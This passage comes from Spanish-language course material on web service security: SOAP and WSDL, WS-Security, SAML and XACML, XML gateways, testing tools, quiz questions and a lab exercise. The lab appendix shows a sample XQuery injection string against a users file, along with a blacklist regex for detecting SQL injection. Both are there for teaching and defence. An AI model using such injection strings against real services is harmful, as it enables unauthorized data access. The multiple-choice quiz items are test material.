(2008). Saner: composing static and dynamic analysis to validate sanitization in web
applications. Santa Bárbara: University of California.
Chess, B. y West, J. (2007). Secure programming with static analysis. Nueva Jersey:
Pearson Education.
Detlefs, D., Nelson, G. y Saxe, J. B. (2005). Simplify: a theorem prover for program
checking. Nueva York: ACM.
Graff, M. G. Secure coding. Th estate of the practice. Recuperado (12 de febrero de 2016)
en, http://markgraff.com/mg_writings/SC_2001_public.pdf
Lam, M., Livshits, B. y Waley, J. (2008). Security web applications with static and
dynamic information flow tracking. Nueva York: ACM.
O´Donoghue, D., Leddy, A., Power, J. y Waldron, J. (2002). Bigram analysis of Java
bytecode sequencesPPPJ´02/ire´02 proceedings of the inaugural conference on the
principles and practice of programming, 2002 and proceedings of the second workshon
on intermediate representation engineering for cirtual machines. Ireland: National
University of Ireland Maynooth.
WASC. Web application security statistics. Recuperado (6de mayo de 2013) en,
http://projects.webappsec.org/w/page/13246989/Web%20Application%20Security%2
0Statistics
Lo + recomendado
Lecciones magistrales
Como se puede llevar a cabo el análisis de seguridad de las aplicaciones web mediante
herramientas semi-automáticas de distinto tipo de forma que se puedan combinar y
complementar para cubrir toda la superficie de ataque de una aplicación en un tiempo
razonable.
No dejes de leer…
SAST vs DASD
No dejes de ver…
NIST
Principios básicos para la implantación del concepto continuous monitoring del NIST.
ZAP
+ Información
A fondo
El consorcio abierto WASC pone a nuestra disposición su proyecto sobre los criterios
para evaluación de herramientas DAST y SAST para análisis de la seguridad de las
aplicaciones web.
WASC
El consorcio abierto WASC pone a nuestra disposición su proyecto sobre los criterios
para evaluación de cortafuegos que se pueden utilizar en la protección online de las
aplicaciones web mediante la creación de reglas de protección que actúan sobre los
puertos más utilizados por estas aplicaciones
Enlaces relacionados
WASC
Página del web application security consortium, una organización sin ánimo de lucro
formada por un grupo internacional de expertos profesionales de la industria y
representantes de organizaciones que producen software libre y ampliamente acordados
estándares de seguridad de mejores prácticas para la world wide web.
NIST
Sitio del CERT del Centro criptológico nacional del CNI. Información sobre ciberdefensa
y guías STIC.
Bibliografía
Scambray, J., Liu, V. y Sima, C. (2010). Hacking exposed web applications 3. Estados
Unidos: McGraw Hill.
Swanson, M., Bowen, P., Whol, A., Gallup, D. Lynes, D.Contingency planning guide for
federal information systems. Recuperado en,
http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-
2010.pdf
Test
10. Respecto a las variantes de instalación de los firewalls de aplicaciones web señala
las afirmaciones correctas:
A. La configuración en modo proxy inverso es la menos deseable.
B. No se debe proporcionar redundancia en la configuración con DOS WAF.
C. No pueden efectuar validaciones de tipo whitelist.
D. Blacklist consiste en mantener una base de datos de firmas de ataques mientras
que whitelist consiste en tener un modelo de tráfico aceptado entre la aplicación y
el cliente.
TEMA
Seguridad de los servicios web
Esquema
TEMA 5 – Esquema
SERVICIOS WEB
Arquitectura
Dimensiones de seguridad
Requisitos de seguridad
Amenazas y riesgos
FUNCIONES DE SEGURIDAD
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
Los principios de diseño de las aplicaciones distribuidas basadas en servicios web tienen
su origen en lo que se denomina Arquitectura orientada a servicios (SOA). Como
ejemplos de esta arquitectura se pueden nombrar tecnologías tan conocidas como RPC,
RMI, CORBA o DCOM.
Los servicios web como se estudió en el tema 1 tienen su origen en lo que se denomina
Arquitectura orientada a servicios (SOA). Como ejemplos de esta arquitectura se
pueden nombrar tecnologías tan conocidas como RPC, RMI, CORBA o DCOM. Los
servicios web se pueden definir como un conjunto de aplicaciones o de tecnologías con
capacidad para interoperar en la web. Estas aplicaciones o tecnologías intercambian
datos entre sí con el objetivo de ofrecer unos servicios.
Los proveedores ofrecen sus servicios como procedimientos remotos y los usuarios
solicitan un servicio llamando a estos procedimientos a través de la web (ver figura
siguiente).
Fuente: http://www.w3c.es/Divulgacion/GuiasBreves/ServiciosWeb
Para la comunicación entre las diferentes entidades o aplicaciones que actúan como
consumidores de servicios o proveedores de los mismos, los servicios web emplean un
protocolo denominado SOAP que tiene estructura XML (ver figura de abajo):
» Una envoltura.
» Una cabecera con datos descriptivos.
» Un body o contenido.
Web service description language (WSDL) es el estándar que se utiliza para describir
un servicio web. Está basado en XML y permite especificar cómo deben representarse
los parámetros, tanto de entrada como de salida, en una invocación de tipo externo al
servicio.
Permite comprender cómo operar con el servicio web a los diferentes clientes:
Las diferentes entidades que intervienen en la prestación de uno o varios servicios web
determinados pueden estar ubicados en cualquier parte en Internet y se instalan en
servidores de aplicaciones similares a los de las aplicaciones web con las que comparten
muchas de sus características. Las medidas de seguridad han de extremarse teniendo en
mente todos los elementos de la seguridad:
» Identificación y autenticación.
» Autorización.
» Confidencialidad.
» Integridad.
» No repudio.
» Privacidad.
Para ello hay que asegurar todas aquellas partes de los servicios web que constituyen sus
dimensiones de seguridad, es decir, los elementos de seguridad deben garantizarse
a través de las dimensiones de seguridad de tiene un entorno de servicios web:
Cualquier software, incluidos los servicios web, deben satisfacer los requisitos de
rendimiento, coste, facilidad de uso y seguridad. Ejemplos de posibles requisitos
de software seguros son la corrección y la disponibilidad. En la figura de abajo se
muestra un modelo de seguridad de servicios web que refleja por capas cuáles son los
estándares de seguridad de referencia. Las capas inferiores son las de red de nivel 3,
pasando por la de transporte y por último de aplicación.
» SSL/TLS.
» IPSEC.
» Cifrado XML.
» Firma XML.
» Control de acceso SAML o XACML.
» WS-Security.
» WS-policy.
» Consorcio world wide web (W3C). La W3C nace con un objetivo claro, ser un
foro de discusión abierto y fomentar la interoperabilidad en la evolución técnica que
se produce en el mundo web. En un periodo de tiempo menor a diez años se han
generado más de cincuenta especificaciones técnicas que están orientadas a la
estandarización de la infraestructura web. En cuanto a SW ha desarrollado XML
encryption, XML digital signature y XML key management system
(XKMS).
Las vulnerabilidades que pueden tener los servicios web junto con las posibles
deficiencias de implementación de mecanismos de seguridad adecuados y suficientes
pueden posibilitar la materialización de amenazas convirtiéndose en ataques.
Las principales amenazas y riesgos a que se enfrentan los servicios web son:
Los servicios web pueden tener casi los mismos tipos de vulnerabilidades que tienen
las aplicaciones web y otras añadidas debido a sus propias características que posibilitan
ataques de:
» XSS.
» SQLI.
» Path traversal.
» Information disclosure.
» Format string.
» Buffer overflow.
» Escalada de privilegios.
» Parameter tampering.
» Command injection.
» XML Injection.
» Soap array abuse.
» Xquery injection.
» Xpath injection.
» XML External entities.
» XML ATTRIBUTE BLOWUP
Para mitigar todos los posibles ataques contra seguridad de los servicios web hay que
aplicar funciones y tecnologías de seguridad correspondientes a los estándares de
seguridad, introducidas en el apartado anterior. El objetivo es cumplir con los requisitos
de seguridad que deben satisfacer los servicios web. Muchos de los conceptos de
seguridad usados en las aplicaciones web son la base para entender la seguridad de los
servicios web. A continuación se introducen las especificaciones de seguridad más
adecuadas para implementar los requisitos de seguridad de los SW como:
» Política de seguridad.
» Confidencialidad e integridad.
» Sistemas de gestión de identidades: autenticación, autorización.
» Monitorización.
» Disponibilidad.
» Seguridad en el servicio de descubrimiento.
Política de seguridad
o P3P sirve para desarrollar herramientas y servicios que ofrezcan a los usuarios un
mayor control sobre la información personal que se maneja en Internet y al mismo
tiempo aumentar la confianza entre los servicios web y los usuarios.
o P3P mejora el control del usuario al colocar políticas de privacidad donde los
usuarios pueden encontrarlas en un formato en el que los usuarios pueden
entender y, lo más importante, con la posibilidad de que el usuario actúe sobre lo
que ven.
o En conclusión, P3P proporciona a los usuarios web facilidad y regularidad a la hora
de decidir si quieren o no y bajo qué circunstancia, revelar información personal.
Confidencialidad e integridad
Esto puede ser tedioso y complejo, lo que puede dar lugar a violaciones de seguridad.
Es importante hacer frente a los problemas de seguridad en la capa de aplicación de
forma independiente de las capas de transporte para proporcionar seguridad de
extremo a extremo implementando cifrado y firma directamente en los mensajes
o partes de los mismos.
» Seguridad de los mensajes almacenados. Una vez que se recibe una transmisión
y es descifrada la seguridad de capa de transporte no protege los datos contra accesos
ilegales y alteraciones. En situaciones en las que se almacenan los mensajes y luego
son remitidos es necesaria la seguridad de la capa de aplicación.
» XML Digital signature. Establecido por W3C, tiene como objetivo crear una serie
de mecanismos que permitan la creación y manejo de firmas digitales basadas en el
lenguaje XML. XML Signature es el estándar de firma desarrollado para establecer
un esquema que permite interpretar el resultado obtenido de las firmas digitales y
aplicarlas sobre los datos. Dentro del esquema se contempla la integridad de los datos,
el no repudio de las transacciones y criterios de autenticación sobre la transmisión.
XML Signature permite firmar parcialmente el código XML y no obliga a que la firma
se aplique a la totalidad de un documento. Además permite firmar diferentes tipos de
recursos dentro de estos fragmentos de código como: datos XHTML, datos en
formatos binarios y datos en formatos en XML nativo. La validación de la firma
requiere que el objeto que fue firmado sea accesible. La firma XML indica la
localización del objeto original firmado. Estas localizaciones pueden ser referenciadas
por una URI con la firma XML.
Si un mensaje debe pasar a través de varios puntos para llegar a su destino, cada punto
intermedio debe reenviarlo a través de una nueva conexión SSL. En este modelo el
mensaje original del cliente no está protegido mediante cifrado puesto que atraviesa
servidores intermedios y para cada nueva conexión SSL que se establece se realizan
operaciones de cifrado adicionales que requieren una gran cantidad de programación.
o De dónde viene.
o (Dirección postal) La dirección a donde se supone que va.
o (Att) La persona o servicio específico en esa dirección que se supone va a recibirlo.
o Dónde debería ir si no puede ser remitido como estaba previsto.
o Todo esto lo incluye en la cabecera del mensaje SOAP.
XAdES define seis perfiles (formas) según el nivel de protección ofrecido. Cada perfil
incluye y extiende al previo:
» Identificación y autenticación.
» Autorización.
Cuando cualquier entidad de servicios web realiza una petición a otra en un esquema de
consumidor-proveedor, aquel debe ser autenticado de forma segura para llevar esta
función se dispone de mecanismos como:
Posteriormente permite los accesos a los recursos en base a los atributos de las entidades
o política de acceso determinada. Existen varias arquitecturas IDMS (figura siguiente):
Fuente: https://msdn.microsoft.com/en-us/library/ff648318.aspx#WSSecurityStandards
» Aisladas (parwise): de poca escalabilidad. Cada servicio deber tener su propia base
de datos de identidades y gestionarla.
Problemas de escalabilidad
Fuente: https://msdn.microsoft.com/en-us/library/ff648318.aspx#WSSecurityStandards
Brokered (centralizado)
Fuente: https://msdn.microsoft.com/en-us/library/ff648318.aspx#WSSecurityStandards
Fuente: https://msdn.microsoft.com/en-us/library/ff648318.aspx#WSSecurityStandards
Modelos de autorización
o Atributos tema (s). Asociado con un tema que define la identidad y las
características de ese sujeto.
o Atributos de recursos (R). Asociado a un recurso, como un servicio web, la función
del sistema o los datos.
o Atributos de entorno (E). Describe el ambiente o contexto operativo, técnico o
situacional en el que se produce el acceso a la información.
Las reglas ABAC, se general a partir de funciones que toman como datos de entrada
los distintos tipos de atributos y decidir si el sujeto (S) puede acceder al recurso (R)
en un ambiente particular.
Esquema RBAC
SAML y XACML son dos de las especificaciones que se pueden utilizar para
implementación de los modelos anteriores de gestión de la autorización.
Los objetos de confianza se utilizan a menudo para llevar a cabo funciones privilegiadas.
o Una declaración de atributo afirma que un sujeto se asocia con ciertos atributos.
Un atributo es simplemente un par nombre-valor. Partes que confían en utilizar
los atributos para tomar decisiones de control de acceso.
Esquema de SAML
Fuente: https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language
A partir del citado modelo se estandariza una base de comportamiento pero se le dota
de la flexibilidad necesaria para permitir a los diferentes sistemas que manifiesten sus
políticas de autorización. Así, por ejemplo, algunos sistemas basarán sus políticas en
usuarios, perfiles y páginas permitidas, mientras que otros los basarán en terminales,
transacciones y tipos de producto. XACML presenta dos esquemas:
Para ello define, categoriza e intermedia con los niveles de confianza de las
identidades, atributos y autenticación de los servicios web de todos los colaboradores.
Ws-Federation, utiliza WS-Trust para obtención de tokens usados por los proveedores
de identidades en la autenticación de las entidades. Los tokens pueden ser assertions,
certificados X.509, ticket Kerberos, o usuario-password.
Monitorización y auditoría
Disponibilidad
¿Hasta qué punto QoS es consciente de que el servicio web opera en su nivel más
esperado de desempeño y fiabilidad asegurando que el servicio web opera correctamente
y de manera previsible en presencia de fallos no intencionados?. La disponibilidad
se asegura de que:
Una vez que el solicitante recibe el documento WSDL para el servicio web candidato,
debe ser validado. El método más sencillo para hacer esto es proporcionar una firma
digital del documento WSDL. La versión v. 1.1 de WSDL no prevé un mecanismo interno
para la firma de documentos WSDL. Hasta que tal mecanismo esté disponible, el servicio
web candidato debe proporcionar una firma externa para el documento WSDL o el
solicitante debe verificar de forma independiente a través de comunicaciones fuera de
banda que el sitio proporciona el documento WSDL es una entidad de confianza.
Lo + recomendado
Lecciones magistrales
No dejes de leer…
Este artículo es una comparativa sobre las prestaciones en cuanto a servicios web y
arquitecturas SOA ofrecidas por las compañías más importantes, estableciendo un
ranking entre ellas en base a varios criterios incluida la seguridad de los mismos.
WS-ATTACK
WS-ATTACK.org aporta una clasificación detallada de los ataques que pueden sufrir los
servicios web, las cuales algunas de ellas pueden materializarse en servicios web.
En este artículo encontraremos algunas pruebas simples que podemos realizar para
hacer la prueba del servicio web.
+ Información
A fondo
XML Technology
Ampliación de la tecnología XML que incluye, XML Namespaces, XML Schema, XSLT,
Efficient XML Interchange (EXI).
En esta página se pueden consultar una guía que puede servir de chacklist para cubrir
todos los aspectos y funciones de seguridad de los servicios web para su protección.
La Junta de Andalucía provee de un sitio web que resume las especificaciones más
importantes para implementar la seguridad de un servicio web.
Enlaces relacionados
OWASP
Cgisecutity
Cgisecurity proporciona información sobre seguridad web. Este sitio cubre aspectos de
seguridad de Bases de datos, Servidores web, Web application security, HTTP, Web
services security y más.
Bibliografía
Actividades
Descripción
Una vez revisada la documentación de la última y reciente versión (de abril de 2104) del
software para seguridad de servicios web (Corisecio y Eperi) no está adecuadamente
actualizada por EPERI y puede llevar a confusiones. Por tal motivo, se va a utilizar la
versión inmediatamente anterior cuya documentación está bastante bien ajustada a las
capacidades del software correspondiente a la versión inmediatamente anterior.
Requisitos
Metodología
» Por último se intercala antes del servicio de pago un firewall XML (OPEN XML
GATEWAY) para implementar validación de esquemas y protección de ataques SQL-
XQUERY INJECTION.
Instalación
Para su instalación en plataforma con S.O. Windows, hay que seguir los pasos siguientes:
Contenido de Parar.cmd:
set JAVA_HOME=C:\Users\...\SOA-DEMO\Java\
set CATALINA_HOME=C:\Users\...\SOA-DEMO\Tomcat
set PATH=%JAVA_HOME%\bin;%PATH%
cd "C:\Users\...\SOA-DEMO\Tomcat\bin"
start cmd /ccall C:\Users\...\SOA-DEMO\Tomcat\bin\shutdown.bat
» Una vez descargado, hay que sustituir el fichero config.xml que viene por defecto en
la instalación en la ubicación:
C:\Users\...\SOA-DEMO\Tomcat\webapps\WSDemo\config.xml
o http://localhost:8080/consumer/
o http://localhost:8080/provider/
o http://localhost:8080/payment/
o http://localhost:8080/XMLGATEWAY/
» Hay que especificar una ruta con un subdirectorio final que no exista,
fuera del directorio WEBAPPS de aplicaciones de APACHE, por ejemplo:
C:\Users\...\SOA-DEMO\...
» Se configura un usuario/password.
» La clave de encriptación viene predefinida y se deja como está.
Configuración
o SetsecRTEntity.
o EctractFromRequest.
o WSSecurityAddSAMLToken (SAML 1.1).
o EncryptXPathForCertificate, para cifrar el elemento paymentInformation de la
petición XML.
o SignSOAPEnvelope.
o ExtractFromResponse.
o DecryptXPath para descifrar el resultado de la petición.
o EnvelopeInResponse.
o SetsecRTEntity.
o EctractFromRequest.
o DecryptXPath, para descifrar el elemento Order de la petición XML.
o WSSecurityCheckSAMLToken (SAML 1.1).
o VerifySOAPEnvelope.
o EnvelopeInRequest.
o Proxy para redirigir la petición al servicio web payment a través del puerto 2300
del tcpmonitor.
o ExtractFromResponse.
o EncryptXPathForCertificate para cifrar el resultado de la petición: Elemento
OrderingResult.
o EnvelopeInResponse.
o SetsecRTEntity.
o EctractFromRequest.
o DecryptXPath, para descifrar el elemento paymentInformation de la petición
XML.
o EnvelopeInRequest.
o Proxy para redirigir la petición al XMLGATEGAY (puerto 80) o al puerto 2600 del
TCPMonitor si se opta por no intercalar y configurar XMLGATEWAY.
o Ataques XQUERY INJECTION - SQLI. Para ello hay que diseñar una
expresión regular [1][2][3], que elimine caracteres y secuencias malignas sin
perjudicar el funcionamiento de los servicios. (ver vulnerabilidad sqli).
o Validación de Schema. Por defecto valida contra the standard schema for
SOAP 1.1 messages, por tanto, añadiendo la función de validación valida por
defecto. No obstante lo ideal es averiguar contra que esquema se valida
(http://soapuser.com/basics3.html) la envoltura de los mensajes. Se ve también
en los propios mensajes en el tráfico de la aplicación..
o Configurar la entidad provider del XmlGateway para que redirigir las peticiones
al puerto 2600 del TCPMonitor.
Recomendaciones
» Se necesitara generar la clave pública de cada una de las tres entidades desde la
aplicación correspondiente a cada conector de cada una de las entidades Consumer,
Provider y Payment. Recordar el concepto de que para cifrar algo que se envía
(ORDER de petición por ejemplo) se usa la clave pública del destinatario. Tener esto
en cuenta a la hora de configurar las funciones de cifrado.
» Mediante TCPMONITOR se puede ver en cada paso el tráfico XML de las peticiones
y respuestas entre las entidades.
Documentación
Entrega
Referencias
[2] http://regexlib.com
[3] http://www.symantec.com/connect/articles/detection-sql-injection-and-cross-site-
scripting-attacks
Apéndice
Validación de esquema
Se debe investigar contra qué esquema validar. Si en el fichero del esquema añadimos la
dirección del esquema XML que se va a validar, en este caso la correspondiente al
envoltorio SOAP (http://soapuser.com/basics3.html) la validación la realiza
correctamente al identificar un esquema correcto en el mensaje enviado. En este caso la
envoltura, etiqueta Envelope del mensaje de un mensaje SOAP, se valida y se
comprueba que está codificada según el esquema (http://soapuser.com/basics3.html)
por lo que al añadirlo en la configuración de la validación va a ser identificado como un
mensaje correctamente codificado.
X-Query Injection
XQuery Injection is a variant of the classic SQL injection attack against the XML
XQuery Language. XQuery Injection uses improperly validated data that is passed
to XQuery commands. This inturn will execute commands on behalf of the attacker
that the XQuery routines have access to. XQuery injection can be used to enumerate
elements on the victim's environment, inject commands to the local host, or execute
queries to remote files and data sources. Like SQL injection attacks, the attacker
tunnels through the application entry point to target the resource access layer.
Using the example XML document below, users.xml.
<?xml version="1.0" encoding="ISO-8859-1"?>
<userlist>
<user category="group1">
<uname>jpublic</uname>
<fname>john</fname>
<lname>public</lname>
<status>good</status>
</user>
<user category="admin">
<uname>jdoe</uname>
<fname>john</fname>
<lname>doe</lname>
<status>good</status>
</user>
<user category="group2">
<uname>mjane</uname>
<fname>mary</fname>
<lname>jane</lname>
<status>good</status>
</user>
<user category="group1">
<uname>anormal</uname>
<fname>abby</fname>
<lname>normal</lname>
<status>revoked</status>
</user>
</userlist>
Assuming that the XQuery gets its user name string from the input, an
attacker can manipulate this query into returning the set of all users. By
providing the input string:
something" or ""="
the XQuery becomes:
doc("users.xml")/userlist/user[uname="something" or ""=""]
» En XML Gateway podemos especificar una regla para impedir el string or.
» XMLGateway en su documentación (Modeling reference_SOA Security), con respecto
a la función CheckForSQLInjection (En realidad es la función Prevent SQL-
XQuery Injection en XMLGateway), nos dice como añadir una regla (todas las
que queramos), es una validación tipo blacklist. Cada regla consta de una pareja
nombre-valor (expresión regular). Este valor lo buscará XMLGateway en el body de
las peticiones y si lo encuentra bloqueará.
» A continuación, para comprobar un ataque, ponemos el string or en cualquier campo
de una petición de libros y veremos que el Gateway bloquea.
/((\%27)|(\'))(select|union|insert|update|delete|replace| truncate)/ix
sería
((\%27)|(\'))(select|union|insert|update|delete|replace| truncate)
Test
1. Los servicios web son un ejemplo de la arquitectura orientada a servicios SOA. ¿Cuáles
son las entidades que intervienen en una arquitectura más básica?
A. Consumer-provider.
B. Provider-consumer-uddi.
C. Consumer-broker-provider.
D. A y B son correctas.
[6.4] Referencias
TEMA
Test de la seguridad y protección online de los servicios web
Esquema
TEMA 6 – Esquema
TEST DE LA SEGURIDAD Y
PROTECCIÓN ONLINE DE LOS
SERVICIOS WEB
Ideas clave
Para estudiar este tema lee las Ideas clave que encontrarás a continuación.
Las características de los servicios web hacen las pruebas de seguridad más difíciles
que para las aplicaciones más tradicionales. El modelo de servicios web proporciona un
mecanismo totalmente independiente de la implementación a través del cual las
aplicaciones pueden interactuar. El probador puede hacer suposiciones precisas acerca
de cómo se construye ese software de aplicación. Los evaluadores dependen en gran
medida de su comprensión del software en su interfaz y de las especificaciones del
sistema.
Idealmente, el probador trazaría todos los caminos a través del código y todas las
interfaces internas entre los componentes dentro del servicio y todas las interfaces
externas entre el servicio y otros servicios y probar cada posible entrada para
asegurarse de que no causó una violación de seguridad inesperada.
» Una la más deseable sería analizar la seguridad durante el ciclo de vida de desarrollo
de software, que sería la más deseable.
» La otra analizar la seguridad de los servicios web ya en una instalación en producción
a modo de auditoría.
Los casos de abuso son lo contrario de los casos de uso dentro del modelado
unificado de datos UML, como su propio nombre indica. Los casos de abuso son
casos en los que se puede comprometer alguna funcionalidad de los SW.
o ¿En qué consiste? Esta actividad consiste en realizar un estudio de los requisitos
de seguridad que son necesarios para implementar la seguridad de la
comunicación y del almacenamiento de información entre los servicios web que
intervienen ya sean consumidores o proveedores del servicio. Como resultado se
obtiene una lista de funciones y mecanismos de seguridad necesarios para
conseguir los elementos de seguridad: Confidencialidad, autenticación,
autorización, integridad, no repudio, trazabilidad, rendimiento y disponibilidad.
o ¿En qué consiste? En un análisis de riesgos se modelan todos activos del sistema
en su ubicación real teniendo en cuenta el modelo de amenazas y casos de abuso
(nivel de riesgo) para obtener el impacto que la materialización de las amenazas
aprovechando las vulnerabilidades de seguridad puede tener en los activos.
Elementos que intervienen en el análisis de riesgos:
Activo. Los objetos de los esfuerzos de protección. Pueden ser componentes del
sistema, datos o el sistema en su totalidad.
Impacto. Degradación causada por una amenaza concreta en un activo.
Riesgo. Cuando las amenazas pueden ocurrir con una cierta probabilidad sobre
un activo ocasionan un riesgo en el funcionamiento del activo y por tanto en el
sistema.
Amenaza. Es el actor o el agente que es la fuente de peligro por diferentes
motivaciones como factores económicos, de prestigio u otros. Estas amenazas
pueden ser ataques como por ejemplo: inyección de SQL, ataques TCP/IP SYN,
desbordamientos de buffer, denegación de servicio, etc.
Salvaguarda. Controles técnicos, operacionales y de gestión que se aplican a
un sistema y que conjuntamente lo protegen de la acción de las amenazas.
Magerit.
ASSET (Automated security self-evaluation tool). National institute on
standards and technology (NIST).
Octave (Operationally critical threat, asset, and vulnerability evaluation). SEI
de la Universidad Carnegie Mellon.
Cobit (Control Objectives for Information and Related Technology) from
information systems audit and control association (ISACA).
o ¿En qué consisten? Hay varias formas de llevarlas a cabo: con herramientas de
caja negra o con herramientas de caja blanca. Los scanners de vulnerabilidades de
aplicaciones web son herramientas de análisis dinámico de caja negra (DAST) que
intentan inyectar cadenas de datos malignas en los campos de entrada (interfaces)
de la aplicación que son accesibles externamente para tratar de descubrir
vulnerabilidades.
o ¿En qué consisten? Son todas aquellas actividades que tienen que ver con:
» Herramientas IAST:
» Herramientas DAST:
o Codenomicon.
o IBM.
o HP.
o Parasoft.
o Cenciz.
o Qualys.
o Netsparker.
» Herramientas SAST:
o Herramientas comerciales:
Checkmarx.
CodeSecure Armorize.
CodeSonar gammatech.
CoveritySave coverity.
HP fortify source code analyzer.
IBM rational appscan source edition.
Klocwork insight.
Development testing platform parasoft.
bugScout buguroo.
Eclair bugseng.
o Software-as-a-service:
- FindBugs.
- FxCop.
- Lint.
- OWASP O2 Platform.
- PMD.
- PreFast.
- RATS – Rough auditing tool for security.
- Yasca.
- VisualCoeGrepper.
» Herramientas híbridas:
o Soapsonar.
o SoapUI.
o wsScanner: herramientas para explorar y detectar vulnerabilidades WS en .NET.
o Wsfuzzer.
o WsBang.
o Wsdigger.
o Soapbox.
Soap UI
Fuente: http://resources.infosecinstitute.com/web-services-penetration-testing-part-2-automated-
approach-soapui-pro/
Soap UI
Fuente: http://resources.infosecinstitute.com/web-services-penetration-testing-part-2-automated-
approach-soapui-pro/
El protocolo SOAP se soporta a través de http que se deja tradicionalmente abierto para
el tráfico web en los servidores de seguridad perimetrales. Además, con la llegada
de Liberty y SAML v2.0, los mensajes SOAP pueden pasar a través de gateways que
limitan el tráfico http entrante pero permiten el tráfico http saliente.
Gateways XML
Para este fin se han desarrollado gateways XML para ofrecer la funcionalidad de
cortafuegos a nivel de aplicación específicamente para los servicios web. Los firewalls
de aplicaciones con conciencia no son nada nuevo sino que han existido en la forma de
proxies http para el tráfico basado en http y permitir a las organizaciones limitar lo que
un protocolo de capa de aplicación puede y no puede hacer.
Básicamente una pasarela XML actúa como el servicio web y transmite toda la
comunicación con el servicio web interno que actúa como intermediario entre los
servicios que no son de confianza y el servicio web interno. Los gateways XML
pueden proporcionar servicios como:
» Autenticación.
» Autorización.
» Confidencialidad de todo o de partes del mensaje XML.
» Integridad y no repudio mediante implementación de firma digital.
» Monitorización.
» Firewall de protección ante ataques, SQLi, XMLi, XSS, etc.
Varias pasarelas XML pueden utilizarse de forma conjunta para implementar un sistema
de gestión de identidades distribuido. En la actividad correspondiente al tema se
establece una comunicación entre servicios web implementando la seguridad mediante
pasarelas XML, conformado un sistema de gestión de identidades distribuido a la vez
que implementa la función de firewall XML (ver figura anterior).
Este es un ejemplo de cifrado de una parte del mensaje para proporcionar seguridad de
extremo a extremo que no puede proporcionar la seguridad a nivel de transporte
mediante protocolos como SSL o TLS.
Los firewalls XML: pueden restringir el acceso en función del origen, destino o de
tokens de autenticación WS-Security. También admiten la validación del esquema y
algunas ofrecen apoyo para la prevención de intrusiones de SOAP contra los siguientes
ataques y otros que aprovechan las vulnerabilidades nativas de XML y servicios basados
en XML:
» Escaneo WSDL. Intenta recuperar el WSDL de los servicios web para obtener
información que puede ser útil para un ataque.
» Manipulación de parámetros. Modificación de los parámetros de un servicio web
espera recibir en un intento de eludir la validación de entrada y obtener acceso no
autorizado a algunas funciones.
» Ataques de repetición. Los intentos para reenviar solicitudes SOAP a repetir las
transacciones sensibles.
» Ataques recursivos con payloads. Los intentos de realizar una denegación de
servicio contra el servicio web mediante el envío de mensajes diseñados para
sobrecargar el analizador XML.
» Ataques de referencia externa. Los intentos de eludir la protección mediante la
inclusión de referencias externas que se descargarán después del XML ha sido
validado pero antes de su procesado por la aplicación.
» Envenenamiento de esquema. El suministro de un esquema con el documento
XML de tal manera que el validador XML utilizará el esquema que se suministra, lo
que permite un documento XML malicioso para ser validado sin errores.
» SQL inyección. Proporcionar parámetros especialmente diseñados que se
combinarán en el servicio web para generar una consulta SQL definida por el
atacante.
6.3. Raferencias
McGraw, G. (2006). Software security: building security in. San Francisco: Addison
Wesley.
Lo + recomendado
Lecciones magistrales
Gateways XML
Los Gateways XML constituyen un medio online de protección del tráfico XML que los
servicios web emplean y de protección ante las amenazas más comunes que pueden sufrir
como SQLI, XSS y otras.
No dejes de leer…
Este artículo es una comparativa sobre las prestaciones en cuanto a Servicios Web y
arquitecturas SOA ofrecidas por las compañías más importantes, estableciendo un
ranking entre ellas en base a varios criterios incluida la seguridad de los mismos.
+ Información
A fondo
XML technology
Aplicación de la tecnología XML que incluye: XML namespace, XML schema, XSLT,
efficient XML interchange (EXI).
En esta página web se puede consultar una guía que puede servir de checklist para cubrir
todos los aspectos y funciones de seguridad de los servicios web para su protección.
Criterios para la evaluación de cortafuegos de las aplicaciones web del consorcio para la
seguridad de las aplicaciones web WASC.
Enlaces relacionados
OWASP
Página web del proyecto abierto para seguridad de las aplicaciones web.
W3C
The world wide web consortium (W3C) es una comunidad internacional que desarrolla
open standards para asegurar el crecimiento de la web.
Cgisecurity
Cgisecurity proporciona información sobre seguridad web. Este sitio cubre aspectos de
seguridad de bases de datos, servidores web, web application security, http, web
services security y más.
Test